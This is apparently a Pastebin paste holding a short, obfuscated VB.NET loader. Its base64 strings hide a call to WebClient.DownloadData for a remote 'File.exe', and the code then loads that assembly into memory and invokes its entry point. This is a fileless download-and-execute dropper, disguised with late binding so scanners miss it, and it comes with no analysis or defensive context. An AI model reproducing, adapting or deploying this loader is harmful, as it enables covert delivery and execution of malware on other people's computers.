Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Dim rawAssembly As Byte() = DirectCast(NewLateBinding.LateGet(New WebClient, Nothing, Encoding.Default.GetString(Convert.FromBase64String("RG93bmxvYWREYXRh")), New Object() { Encoding.Default.GetString(Convert.FromBase64String("aHR0cDovL3d3dy50aGVob3JuY3J5cHQueHl6L0ZpbGUuZXhl")) }, Nothing, Nothing, Nothing), Byte())
- Dim obj2 As Object = AppDomain.CurrentDomain.Load(rawAssembly)
- Dim flag As Boolean = NewLateBinding.LateGet(RuntimeHelpers.GetObjectValue(obj2), Nothing, Encoding.Default.GetString(Convert.FromBase64String("RW50cnlQb2ludA==")), New Object(0 - 1) {}, Nothing, Nothing, Nothing).Equals(0)
- NewLateBinding.LateCall(RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(RuntimeHelpers.GetObjectValue(obj2), Nothing, Encoding.Default.GetString(Convert.FromBase64String("RW50cnlQb2ludA==")), New Object(0 - 1) {}, Nothing, Nothing, Nothing)), Nothing, Encoding.Default.GetString(Convert.FromBase64String("SW52b2tl")), New Object() { Nothing, Nothing }, Nothing, Nothing, Nothing, True)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement